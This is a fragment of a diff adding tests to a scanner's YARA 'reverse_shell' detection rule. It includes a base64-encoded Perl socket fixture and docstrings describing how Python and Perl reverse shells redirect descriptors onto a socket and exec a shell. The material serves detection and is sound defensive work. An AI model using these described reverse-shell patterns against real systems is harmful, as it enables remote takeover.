"dXNlIFNvY2tldDsKc29ja2V0KFNPQ0tFVCwgUEZfSU5FVCwgU09DS19TVFJFQU0sIGdldHByb3RvYnluYW1lKCJ0Y3AiKSk7CmNvbm5lY3QoU09DS0VULCBzb2NrYWRkcl9pbigkcG9ydCwgaW5ldF9hdG9uKCRpcCkpKTsKb3BlbihTVERJTiwgIjwmU09DS0VUIik7Cm15ICRsaW5lID0gPFNURElOPjsKcHJpbnQgJGxpbmU7Cg==" + ).decode() + + def _has_rule(findings: list, rule_name: str) -> bool: """Return True when a finding message references a specific YARA rule.""" return any(rule_name in f.message for f in findings) @@ -592,6 +703,121 @@ def test_builtin_malware_finding_preserved(self): assert _has_rule(findings, "reverse_shell") assert any(f.rule_id == "YR1" for f in findings) + def test_reverse_shell_rule_matches_multiline_python_socket(self): + """The python_socket string must span the newlines a real script uses. + + A Python reverse shell bundled as a file writes ``socket.socket(...)`` + and ``.connect(...)`` as separate statements, not on one line — see + `_multiline_python_socket_reverse_shell_fixture`. Without ``s`` (dotall) + on the ``$python_socket``/``$perl_socket`` strings in + ``malware.yar.b64``, YARA's `.` does not match ``\\n`` and this rule + never fires on that shape, even though the file it should have flagged + is unambiguously a working reverse shell. + """ + findings = _run_builtin( + _multiline_python_socket_reverse_shell_fixture(), + "scripts/sync.py", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_does_not_match_benign_python_socket_client(self): + """An ordinary multiline TCP client must not fire ``reverse_shell``. + + `$python_socket` requires ``socket.socket(...)``/``.connect(...)`` to + share a physical file, but stopping there also matches any plain + client that connects and exchanges data — see + `_benign_python_socket_client_fixture`. The string must additionally + require descriptor redirection (``os.dup2``) onto the socket followed + by a shell execution marker (``/bin/sh``, ``/bin/bash``, etc.) after + the ``connect()`` call. + """ + findings = _run_builtin( + _benign_python_socket_client_fixture(), + "scripts/client.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_python_client_running_unrelated_helper_subprocess( + self, + ): + """A bare ``subprocess``/``os.system``/``pty.spawn``/``execve`` token + after ``connect()`` is not sufficient — the prior fix's alternation + let an ordinary client that merely shells out to an unrelated helper + (no descriptor redirection, no shell payload) still classify as + CRITICAL ``reverse_shell``/YR1. See + `_python_helper_subprocess_fixture`: this must NOT match. + """ + findings = _run_builtin( + _python_helper_subprocess_fixture(), + "scripts/report.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_python_client_that_reopens_stdin_without_shell(self): + """``os.dup2`` redirection alone, without a following shell execution + marker, must not fire ``reverse_shell``/YR1 — a process may + legitimately read its own stdin from a socket without ever spawning a + shell. See `_python_stdin_reopen_no_shell_fixture`: this must NOT + match. + """ + findings = _run_builtin( + _python_stdin_reopen_no_shell_fixture(), + "scripts/stdin_reader.py", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_matches_multiline_perl_socket(self): + """`$perl_socket` must fire on a real multiline Perl reverse shell. + + See `_multiline_perl_socket_reverse_shell_fixture`: connect, then + redirect STDIN/STDOUT/STDERR onto the socket and exec a shell. + """ + findings = _run_builtin( + _multiline_perl_socket_reverse_shell_fixture(), + "scripts/backdoor.pl", + ) + assert _has_rule(findings, "reverse_shell") + assert any(f.rule_id == "YR1" for f in findings) + + def test_reverse_shell_rule_does_not_match_benign_perl_socket_client(self): + """An ordinary Perl TCP client must not fire ``reverse_shell``. + + Before this fix, `$perl_socket` required only ``use Socket;`` plus a + ``socket(SOCK...`` call — it did not even require ``connect()`` — so + it matched any script that merely used the ``Socket`` module. See + `_benign_perl_socket_client_fixture`. + """ + findings = _run_builtin( + _benign_perl_socket_client_fixture(), + "scripts/client.pl", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_perl_client_running_unrelated_helper_exec(self): + """A bare ``exec(`` after ``connect()`` is not sufficient — the prior + fix's alternation let an ordinary client that ``exec``s an unrelated + non-shell helper (no STDIN/STDOUT/STDERR redirection onto the socket) + still classify as CRITICAL ``reverse_shell``/YR1. See + `_perl_helper_exec_nonshell_fixture`: this must NOT match. + """ + findings = _run_builtin( + _perl_helper_exec_nonshell_fixture(), + "scripts/report.pl", + ) + assert not _has_rule(findings, "reverse_shell") + + def test_reverse_shell_rule_does_not_match_perl_client_that_reopens_stdin_without_exec(self): + """``open(STDIN, ...)`` redirection alone, without a following + ``exec`` of a shell, must not fire ``reverse_shell``/YR1. See + `_perl_stdin_reopen_no_exec_fixture`: this must NOT match. + """ + findings = _run_builtin( + _perl_stdin_reopen_no_exec_fixture(), + "scripts/stdin_reader.pl", + ) + assert not _has_rule(findings, "reverse_shell") + def test_extra_rules_still_match_with_builtin_malware_representation(self, tmp_path): _write_rule( tmp_path,